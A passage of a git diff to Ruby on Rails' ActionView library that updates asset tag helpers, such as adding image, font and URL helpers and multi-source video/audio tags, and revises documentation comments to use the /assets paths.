-          value.dup : ActionView::PathSet.new(Array.wrap(value))
-      end
-      deprecate :process_view_paths
-
       def xss_safe? #:nodoc:
         true
       end
-
-      # This method receives routes and helpers from the controller
-      # and return a subclass ready to be used as view context.
-      def prepare(routes, helpers) #:nodoc:
-        Class.new(self) do
-          if routes
-            include routes.url_helpers
-            include routes.mounted_helpers
-          end
-
-          if helpers
-            include helpers
-            self.helpers = helpers
-          end
-        end
-      end
     end
 
     attr_accessor :view_renderer
@@ -202,7 +182,7 @@ module ActionView #:nodoc:
       # TODO Provide a new API for AV::Base and deprecate this one.
       if context.is_a?(ActionView::Renderer)
         @view_renderer = context
-      elsif
+      else
         lookup_context = context.is_a?(ActionView::LookupContext) ?
           context : ActionView::LookupContext.new(context)
         lookup_context.formats  = formats if formats
diff --git a/actionpack/lib/action_view/buffers.rb b/actionpack/lib/action_view/buffers.rb
index be7f65c2ce..2372d3c433 100644
--- a/actionpack/lib/action_view/buffers.rb
+++ b/actionpack/lib/action_view/buffers.rb
@@ -4,7 +4,7 @@ module ActionView
   class OutputBuffer < ActiveSupport::SafeBuffer #:nodoc:
     def initialize(*)
       super
-      encode! if encoding_aware?
+      encode!
     end
 
     def <<(value)
diff --git a/actionpack/lib/action_view/context.rb b/actionpack/lib/action_view/context.rb
index 083856b2ca..ee263df484 100644
--- a/actionpack/lib/action_view/context.rb
+++ b/actionpack/lib/action_view/context.rb
@@ -5,7 +5,7 @@ module ActionView
 
   # = Action View Context
   #
-  # Action View contexts are supplied to Action Controller to render template.
+  # Action View contexts are supplied to Action Controller to render a template.
   # The default Action View context is ActionView::Base.
   #
   # In order to work with ActionController, a Context must just include this module.
@@ -25,12 +25,12 @@ module ActionView
     end
 
     # Encapsulates the interaction with the view flow so it
-    # returns the correct buffer on yield. This is usually
-    # overwriten by helpers to add more behavior.
+    # returns the correct buffer on +yield+. This is usually
+    # overwritten by helpers to add more behavior.
     # :api: plugin
     def _layout_for(name=nil)
       name ||= :layout
       view_flow.get(name).html_safe
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/lib/action_view/data/encoding_conversions.dump b/actionpack/lib/action_view/data/encoding_conversions.dump
deleted file mode 100644
index 18d7cd448b..0000000000
--- a/actionpack/lib/action_view/data/encoding_conversions.dump
+++ /dev/null
diff --git a/actionpack/lib/action_view/flows.rb b/actionpack/lib/action_view/flows.rb
index a8f740713f..c0e458cd41 100644
--- a/actionpack/lib/action_view/flows.rb
+++ b/actionpack/lib/action_view/flows.rb
@@ -22,11 +22,8 @@ module ActionView
     def append(key, value)
       @content[key] << value
     end
+    alias_method :append!, :append
 
-    # Called by provide
-    def append!(key, value)
-      @content[key] << value
-    end
   end
 
   class StreamingFlow < OutputFlow #:nodoc:
diff --git a/actionpack/lib/action_view/helpers.rb b/actionpack/lib/action_view/helpers.rb
index 262e0f1010..f2a3a494bc 100644
--- a/actionpack/lib/action_view/helpers.rb
+++ b/actionpack/lib/action_view/helpers.rb
@@ -1,5 +1,3 @@
-require 'active_support/benchmarkable'
-
 module ActionView #:nodoc:
   module Helpers #:nodoc:
     extend ActiveSupport::Autoload
@@ -7,6 +5,7 @@ module ActionView #:nodoc:
     autoload :ActiveModelHelper
     autoload :AssetTagHelper
     autoload :AtomFeedHelper
+    autoload :BenchmarkHelper
     autoload :CacheHelper
     autoload :CaptureHelper
     autoload :ControllerHelper
@@ -33,10 +32,10 @@ module ActionView #:nodoc:
       extend SanitizeHelper::ClassMethods
     end
 
-    include ActiveSupport::Benchmarkable
     include ActiveModelHelper
     include AssetTagHelper
     include AtomFeedHelper
+    include BenchmarkHelper
     include CacheHelper
     include CaptureHelper
     include ControllerHelper
diff --git a/actionpack/lib/action_view/helpers/active_model_helper.rb b/actionpack/lib/action_view/helpers/active_model_helper.rb
index 96c3eec337..901f433c70 100644
--- a/actionpack/lib/action_view/helpers/active_model_helper.rb
+++ b/actionpack/lib/action_view/helpers/active_model_helper.rb
@@ -1,7 +1,5 @@
-require 'action_view/helpers/form_helper'
 require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/enumerable'
-require 'active_support/core_ext/object/blank'
 
 module ActionView
   # = Active Model Helpers
@@ -17,8 +15,8 @@ module ActionView
         end
       end
 
-      %w(content_tag to_date_select_tag to_datetime_select_tag to_time_select_tag).each do |meth|
-        module_eval "def #{meth}(*) error_wrapping(super) end", __FILE__, __LINE__
+      def content_tag(*)
+        error_wrapping(super)
       end
 
       def tag(type, options, *)
@@ -40,16 +38,12 @@ module ActionView
       private
 
       def object_has_errors?
-        object.respond_to?(:errors) && object.errors.respond_to?(:full_messages) && error_message.any?
+        object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
       end
 
       def tag_generate_errors?(options)
         options['type'] != 'hidden'
       end
     end
-
-    class InstanceTag
-      include ActiveModelInstanceTag
-    end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/asset_paths.rb b/actionpack/lib/action_view/helpers/asset_paths.rb
deleted file mode 100644
index fae2e4fc1c..0000000000
--- a/actionpack/lib/action_view/helpers/asset_paths.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-ActiveSupport::Deprecation.warn "ActionView::Helpers::AssetPaths is deprecated. Please use ActionView::AssetPaths instead."
-
-module ActionView
-  module Helpers
-    AssetPaths = ::ActionView::AssetPaths
-  end
-end
\ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
index 7d01e5ddb8..ceb56824fa 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/keys'
 require 'action_view/helpers/asset_tag_helpers/javascript_tag_helpers'
 require 'action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers'
 require 'action_view/helpers/asset_tag_helpers/asset_paths'
@@ -11,27 +13,29 @@ module ActionView
     # the assets exist before linking to them:
     #
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="/images/rails.png?1230601161" />
+    #   # => <img alt="Rails" src="/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
+    #
     #
     # === Using asset hosts
     #
     # By default, Rails links to these assets on the current host in the public
     # folder, but you can direct Rails to link to assets from a dedicated asset
-    # server by setting ActionController::Base.asset_host in the application
+    # server by setting <tt>ActionController::Base.asset_host</tt> in the application
     # configuration, typically in <tt>config/environments/production.rb</tt>.
     # For example, you'd define <tt>assets.example.com</tt> to be your asset
-    # host this way:
+    # host this way, inside the <tt>configure</tt> block of your environment-specific
+    # configuration files or <tt>config/application.rb</tt>:
     #
-    #   ActionController::Base.asset_host = "assets.example.com"
+    #   config.action_controller.asset_host = "assets.example.com"
     #
     # Helpers take that into account:
     #
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets.example.com/images/rails.png?1230601161" />
+    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
     #
     # Browsers typically open at most two simultaneous connections to a single
     # host, which means your assets often have to wait for other assets to finish
@@ -42,9 +46,9 @@ module ActionView
     # will open eight simultaneous connections rather than two.
     #
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
+    #   # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
     #
     # To do this, you can either setup four actual hosts, or you can use wildcard
     # DNS to CNAME the wildcard to a single asset host. You can read more about
@@ -61,29 +65,28 @@ module ActionView
     #     "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
     #   }
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets1.example.com/images/rails.png?1230601161" />
+    #   # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
     #
     # The example above generates "http://assets1.example.com" and
     # "http://assets2.example.com". This option is useful for example if
     # you need fewer/more than four hosts, custom host names, etc.
     #
     # As you see the proc takes a +source+ parameter. That's a string with the
-    # absolute path of the asset with any extensions and timestamps in place,
-    # for example "/images/rails.png?1230601161".
+    # absolute path of the asset, for example "/assets/rails.png".
     #
     #    ActionController::Base.asset_host = Proc.new { |source|
-    #      if source.starts_with?('/images')
-    #        "http://images.example.com"
+    #      if source.ends_with?('.css')
+    #        "http://stylesheets.example.com"
     #      else
     #        "http://assets.example.com"
     #      end
     #    }
     #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://images.example.com/images/rails.png?1230601161" />
+    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
     #
     # Alternatively you may ask for a second parameter +request+. That one is
     # particularly useful for serving assets from an SSL-protected page. The
@@ -92,7 +95,7 @@ module ActionView
     # have SSL certificates for each of the asset hosts this technique allows you
     # to avoid warnings in the client about mixed media.
     #
-    #   ActionController::Base.asset_host = Proc.new { |source, request|
+    #   config.action_controller.asset_host = Proc.new { |source, request|
     #     if request.ssl?
     #       "#{request.protocol}#{request.host_with_port}"
     #     else
@@ -160,7 +163,7 @@ module ActionView
     #   image_tag("rails.png")
     #   # => <img alt="Rails" src="/release-12345/images/rails.png" />
     #   stylesheet_link_tag("application")
-    #   # => <link href="/release-12345/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+    #   # => <link href="/release-12345/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" />
     #
     # Changing the asset_path does require that your web servers have
     # knowledge of the asset template paths that you rewrite to so it's not
@@ -196,7 +199,7 @@ module ActionView
       include JavascriptTagHelpers
       include StylesheetTagHelpers
       # Returns a link tag that browsers and news readers can use to auto-detect
-      # an RSS or ATOM feed. The +type+ can either be <tt>:rss</tt> (default) or
+      # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
       # <tt>:atom</tt>. Control the link options in url_for format using the
       # +url_options+. You can modify the LINK tag itself in +tag_options+.
       #
@@ -206,18 +209,18 @@ module ActionView
       # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
       #
       # ==== Examples
-      #  auto_discovery_link_tag # =>
-      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
-      #  auto_discovery_link_tag(:atom) # =>
-      #     <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
-      #  auto_discovery_link_tag(:rss, {:action => "feed"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
-      #  auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
-      #  auto_discovery_link_tag(:rss, {:controller => "news", :action => "feed"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
-      #  auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "Example RSS"}) # =>
-      #     <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
+      #  auto_discovery_link_tag
+      #  # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+      #  auto_discovery_link_tag(:atom)
+      #  # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+      #  auto_discovery_link_tag(:rss, {:action => "feed"})
+      #  # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+      #  auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})
+      #  # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+      #  auto_discovery_link_tag(:rss, {:controller => "news", :action => "feed"})
+      #  # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+      #  auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "Example RSS"})
+      #  # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
       def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
         tag(
           "link",
@@ -228,23 +231,19 @@ module ActionView
         )
       end
 
-      # Web browsers cache favicons. If you just throw a <tt>favicon.ico</tt> into the document
-      # root of your application and it changes later, clients that have it in their cache
-      # won't see the update. Using this helper prevents that because it appends an asset ID:
-      #
       #   <%= favicon_link_tag %>
       #
       # generates
       #
-      #   <link href="/favicon.ico?4649789979" rel="shortcut icon" type="image/vnd.microsoft.icon" />
+      #   <link href="/assets/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
       #
       # You may specify a different file in the first argument:
       #
-      #   <%= favicon_link_tag 'favicon.ico' %>
+      #   <%= favicon_link_tag '/myicon.ico' %>
       #
       # That's passed to +path_to_image+ as is, so it gives
       #
-      #   <link href="/images/favicon.ico?4649789979" rel="shortcut icon" type="image/vnd.microsoft.icon" />
+      #   <link href="/myicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
       #
       # The helper accepts an additional options hash where you can override "rel" and "type".
       #
@@ -253,8 +252,7 @@ module ActionView
       # The following call would generate such a tag:
       #
       #   <%= favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png' %>
-      #
-      def favicon_link_tag(source='/favicon.ico', options={})
+      def favicon_link_tag(source='favicon.ico', options={})
         tag('link', {
           :rel  => 'shortcut icon',
           :type => 'image/vnd.microsoft.icon',
@@ -262,13 +260,13 @@ module ActionView
         }.merge(options.symbolize_keys))
       end
 
-      # Computes the path to an image asset in the public images directory.
+      # Computes the path to an image asset.
       # Full paths from the document root will be passed through.
       # Used internally by +image_tag+ to build the image path:
       #
-      #   image_path("edit")                                         # => "/images/edit"
-      #   image_path("edit.png")                                     # => "/images/edit.png"
-      #   image_path("icons/edit.png")                               # => "/images/icons/edit.png"
+      #   image_path("edit")                                         # => "/assets/edit"
+      #   image_path("edit.png")                                     # => "/assets/edit.png"
+      #   image_path("icons/edit.png")                               # => "/assets/icons/edit.png"
       #   image_path("/icons/edit.png")                              # => "/icons/edit.png"
       #   image_path("http://www.example.com/img/edit.png")          # => "http://www.example.com/img/edit.png"
       #
@@ -276,15 +274,21 @@ module ActionView
       # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
       # plugin authors are encouraged to do so.
       def image_path(source)
-        asset_paths.compute_public_path(source, 'images')
+        source.present? ? asset_paths.compute_public_path(source, 'images') : ""
       end
       alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
 
+      # Computes the full URL to an image asset.
+      # This will use +image_path+ internally, so most of their behaviors will be the same.
+      def image_url(source)
+        URI.join(current_host, path_to_image(source)).to_s
+      end
+      alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
+
       # Computes the path to a video asset in the public videos directory.
       # Full paths from the document root will be passed through.
       # Used internally by +video_tag+ to build the video path.
       #
-      # ==== Examples
       #   video_path("hd")                                            # => /videos/hd
       #   video_path("hd.avi")                                        # => /videos/hd.avi
       #   video_path("trailers/hd.avi")                               # => /videos/trailers/hd.avi
@@ -295,11 +299,17 @@ module ActionView
       end
       alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
 
+      # Computes the full URL to a video asset in the public videos directory.
+      # This will use +video_path+ internally, so most of their behaviors will be the same.
+      def video_url(source)
+        URI.join(current_host, path_to_video(source)).to_s
+      end
+      alias_method :url_to_video, :video_url # aliased to avoid conflicts with an video_url named route
+
       # Computes the path to an audio asset in the public audios directory.
       # Full paths from the document root will be passed through.
       # Used internally by +audio_tag+ to build the audio path.
       #
-      # ==== Examples
       #   audio_path("horse")                                            # => /audios/horse
       #   audio_path("horse.wav")                                        # => /audios/horse.wav
       #   audio_path("sounds/horse.wav")                                 # => /audios/sounds/horse.wav
@@ -310,8 +320,35 @@ module ActionView
       end
       alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
 
+      # Computes the full URL to an audio asset in the public audios directory.
+      # This will use +audio_path+ internally, so most of their behaviors will be the same.
+      def audio_url(source)
+        URI.join(current_host, path_to_audio(source)).to_s
+      end
+      alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
+
+      # Computes the path to a font asset.
+      # Full paths from the document root will be passed through.
+      #
+      #   font_path("font")                                           # => /assets/font
+      #   font_path("font.ttf")                                       # => /assets/font.ttf
+      #   font_path("dir/font.ttf")                                   # => /assets/dir/font.ttf
+      #   font_path("/dir/font.ttf")                                  # => /dir/font.ttf
+      #   font_path("http://www.example.com/dir/font.ttf")            # => http://www.example.com/dir/font.ttf
+      def font_path(source)
+        asset_paths.compute_public_path(source, 'fonts')
+      end
+      alias_method :path_to_font, :font_path # aliased to avoid conflicts with an font_path named route
+
+      # Computes the full URL to a font asset.
+      # This will use +font_path+ internally, so most of their behaviors will be the same.
+      def font_url(source)
+        URI.join(current_host, path_to_font(source)).to_s
+      end
+      alias_method :url_to_font, :font_url # aliased to avoid conflicts with an font_url named route
+
       # Returns an html image tag for the +source+. The +source+ can be a full
-      # path or a file that exists in your public images directory.
+      # path or a file.
       #
       # ==== Options
       # You can add HTML attributes using the +options+. The +options+ supports
@@ -322,33 +359,25 @@ module ActionView
       # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
       #   width="30" and height="45". <tt>:size</tt> will be ignored if the
       #   value is not in the correct format.
-      # * <tt>:mouseover</tt> - Set an alternate image to be used when the onmouseover
-      #   event is fired, and sets the original image to be replaced onmouseout.
-      #   This can be used to implement an easy image toggle that fires on onmouseover.
       #
-      # ==== Examples
-      #  image_tag("icon")  # =>
-      #    <img src="/images/icon" alt="Icon" />
-      #  image_tag("icon.png")  # =>
-      #    <img src="/images/icon.png" alt="Icon" />
-      #  image_tag("icon.png", :size => "16x10", :alt => "Edit Entry")  # =>
-      #    <img src="/images/icon.png" width="16" height="10" alt="Edit Entry" />
-      #  image_tag("/icons/icon.gif", :size => "16x16")  # =>
-      #    <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
-      #  image_tag("/icons/icon.gif", :height => '32', :width => '32') # =>
-      #    <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
-      #  image_tag("/icons/icon.gif", :class => "menu_icon") # =>
-      #    <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
-      #  image_tag("mouse.png", :mouseover => "/images/mouse_over.png") # =>
-      #    <img src="/images/mouse.png" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" alt="Mouse" />
-      #  image_tag("mouse.png", :mouseover => image_path("mouse_over.png")) # =>
-      #    <img src="/images/mouse.png" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" alt="Mouse" />
-      def image_tag(source, options = {})
-        options.symbolize_keys!
+      #  image_tag("icon")
+      #  # => <img src="/assets/icon" alt="Icon" />
+      #  image_tag("icon.png")
+      #  # => <img src="/assets/icon.png" alt="Icon" />
+      #  image_tag("icon.png", :size => "16x10", :alt => "Edit Entry")
+      #  # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+      #  image_tag("/icons/icon.gif", :size => "16x16")
+      #  # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+      #  image_tag("/icons/icon.gif", :height => '32', :width => '32')
+      #  # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+      #  image_tag("/icons/icon.gif", :class => "menu_icon")
+      #  # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+      def image_tag(source, options={})
+        options = options.symbolize_keys
 
         src = options[:src] = path_to_image(source)
 
-        unless src =~ /^cid:/
+        unless src =~ /^(?:cid|data):/ || src.blank?
           options[:alt] = options.fetch(:alt){ image_alt(src) }
         end
 
@@ -356,11 +385,6 @@ module ActionView
           options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
         end
 
-        if mouseover = options.delete(:mouseover)
-          options[:onmouseover] = "this.src='#{path_to_image(mouseover)}'"
-          options[:onmouseout]  = "this.src='#{src}'"
-        end
-
         tag("img", options)
       end
 
@@ -384,39 +408,31 @@ module ActionView
       #   width="30" and height="45". <tt>:size</tt> will be ignored if the
       #   value is not in the correct format.
       #
-      # ==== Examples
-      #  video_tag("trailer")  # =>
-      #    <video src="/videos/trailer" />
-      #  video_tag("trailer.ogg")  # =>
-      #    <video src="/videos/trailer.ogg" />
-      #  video_tag("trailer.ogg", :controls => true, :autobuffer => true)  # =>
-      #    <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
-      #  video_tag("trailer.m4v", :size => "16x10", :poster => "screenshot.png")  # =>
-      #    <video src="/videos/trailer.m4v" width="16" height="10" poster="/images/screenshot.png" />
-      #  video_tag("/trailers/hd.avi", :size => "16x16")  # =>
-      #    <video src="/trailers/hd.avi" width="16" height="16" />
-      #  video_tag("/trailers/hd.avi", :height => '32', :width => '32') # =>
-      #    <video height="32" src="/trailers/hd.avi" width="32" />
-      #  video_tag(["trailer.ogg", "trailer.flv"]) # =>
-      #    <video><source src="trailer.ogg" /><source src="trailer.ogg" /><source src="trailer.flv" /></video>
-      #  video_tag(["trailer.ogg", "trailer.flv"] :size => "160x120") # =>
-      #    <video height="120" width="160"><source src="trailer.ogg" /><source src="trailer.flv" /></video>
-      def video_tag(sources, options = {})
-        options.symbolize_keys!
-
-        options[:poster] = path_to_image(options[:poster]) if options[:poster]
-
-        if size = options.delete(:size)
-          options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
-        end
+      #  video_tag("trailer")
+      #  # => <video src="/videos/trailer" />
+      #  video_tag("trailer.ogg")
+      #  # => <video src="/videos/trailer.ogg" />
+      #  video_tag("trailer.ogg", :controls => true, :autobuffer => true)
+      #  # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
+      #  video_tag("trailer.m4v", :size => "16x10", :poster => "screenshot.png")
+      #  # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
+      #  video_tag("/trailers/hd.avi", :size => "16x16")
+      #  # => <video src="/trailers/hd.avi" width="16" height="16" />
+      #  video_tag("/trailers/hd.avi", :height => '32', :width => '32')
+      #  # => <video height="32" src="/trailers/hd.avi" width="32" />
+      #  video_tag("trailer.ogg", "trailer.flv")
+      #  # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #  video_tag(["trailer.ogg", "trailer.flv"])
+      #  # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #  video_tag(["trailer.ogg", "trailer.flv"], :size => "160x120")
+      #  # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      def video_tag(*sources)
+        multiple_sources_tag('video', sources) do |options|
+          options[:poster] = path_to_image(options[:poster]) if options[:poster]
 
-        if sources.is_a?(Array)
-          content_tag("video", options) do
-            sources.map { |source| tag("source", :src => source) }.join.html_safe
+          if size = options.delete(:size)
+            options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
           end
-        else
-          options[:src] = path_to_video(sources)
-          tag("video", options)
         end
       end
 
@@ -424,17 +440,16 @@ module ActionView
       # The +source+ can be full path or file that exists in
       # your public audios directory.
       #
-      # ==== Examples
-      #  audio_tag("sound")  # =>
-      #    <audio src="/audios/sound" />
-      #  audio_tag("sound.wav")  # =>
-      #    <audio src="/audios/sound.wav" />
-      #  audio_tag("sound.wav", :autoplay => true, :controls => true)  # =>
-      #    <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
-      def audio_tag(source, options = {})
-        options.symbolize_keys!
-        options[:src] = path_to_audio(source)
-        tag("audio", options)
+      #   audio_tag("sound")  # =>
+      #     <audio src="/audios/sound" />
+      #   audio_tag("sound.wav")  # =>
+      #     <audio src="/audios/sound.wav" />
+      #   audio_tag("sound.wav", :autoplay => true, :controls => true)  # =>
+      #     <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
+      #   audio_tag("sound.wav", "sound.mid")  # =>
+      #     <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+      def audio_tag(*sources)
+        multiple_sources_tag('audio', sources)
       end
 
       private
@@ -442,6 +457,26 @@ module ActionView
         def asset_paths
           @asset_paths ||= AssetTagHelper::AssetPaths.new(config, controller)
         end
+
+        def multiple_sources_tag(type, sources)
+          options = sources.extract_options!.symbolize_keys
+          sources.flatten!
+
+          yield options if block_given?
+
+          if sources.size > 1
+            content_tag(type, options) do
+              safe_join sources.map { |source| tag("source", :src => send("path_to_#{type}", source)) }
+            end
+          else
+            options[:src] = send("path_to_#{type}", sources.first)
+            content_tag(type, nil, options)
+          end
+        end
+
+        def current_host
+          url_for(:only_path => false)
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb
index 05d5f1870a..e42e49fb04 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/core_ext/file'
 require 'action_view/helpers/tag_helper'
@@ -7,7 +6,7 @@ module ActionView
   module Helpers
     module AssetTagHelper
 
-      class AssetIncludeTag
+      class AssetIncludeTag #:nodoc:
         include TagHelper
 
         attr_reader :config, :asset_paths
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb
index dd4e9ae4cc..35f91cec18 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb
@@ -1,5 +1,6 @@
 require 'thread'
 require 'active_support/core_ext/file'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActionView
   module Helpers
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb
index d9f1f88ade..139f4d19ab 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb
@@ -1,4 +1,3 @@
-require 'active_support/concern'
 require 'active_support/core_ext/file'
 require 'action_view/helpers/asset_tag_helpers/asset_include_tag'
 
@@ -6,7 +5,7 @@ module ActionView
   module Helpers
     module AssetTagHelper
 
-      class JavascriptIncludeTag < AssetIncludeTag
+      class JavascriptIncludeTag < AssetIncludeTag #:nodoc:
         def asset_name
           'javascript'
         end
@@ -16,7 +15,7 @@ module ActionView
         end
 
         def asset_tag(source, options)
-          content_tag("script", "", { "type" => Mime::JS, "src" => path_to_asset(source) }.merge(options))
+          content_tag("script", "", { "src" => path_to_asset(source) }.merge(options))
         end
 
         def custom_dir
@@ -27,7 +26,8 @@ module ActionView
 
           def expand_sources(sources, recursive = false)
             if sources.include?(:all)
-              all_asset_files = (collect_asset_files(custom_dir, ('**' if recursive), "*.#{extension}") - ['application']) << 'application'
+              all_asset_files = (collect_asset_files(custom_dir, ('**' if recursive), "*.#{extension}") - ['application'])
+              add_application_js(all_asset_files, sources)
               ((determine_source(:defaults, expansions).dup & all_asset_files) + all_asset_files).uniq
             else
               expanded_sources = sources.inject([]) do |list, source|
@@ -40,7 +40,7 @@ module ActionView
           end
 
           def add_application_js(expanded_sources, sources)
-            if sources.include?(:defaults) && File.exist?(File.join(custom_dir, "application.#{extension}"))
+            if (sources.include?(:defaults) || sources.include?(:all)) && File.exist?(File.join(custom_dir, "application.#{extension}"))
               expanded_sources.delete('application')
               expanded_sources << "application"
             end
@@ -60,9 +60,9 @@ module ActionView
           #   ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"]
           #
           #   javascript_include_tag :monkey # =>
-          #     <script type="text/javascript" src="/javascripts/head.js"></script>
-          #     <script type="text/javascript" src="/javascripts/body.js"></script>
-          #     <script type="text/javascript" src="/javascripts/tail.js"></script>
+          #     <script src="/javascripts/head.js"></script>
+          #     <script src="/javascripts/body.js"></script>
+          #     <script src="/javascripts/tail.js"></script>
           def register_javascript_expansion(expansions)
             js_expansions = JavascriptIncludeTag.expansions
             expansions.each do |key, values|
@@ -76,7 +76,6 @@ module ActionView
         # Full paths from the document root will be passed through.
         # Used internally by javascript_include_tag to build the script path.
         #
-        # ==== Examples
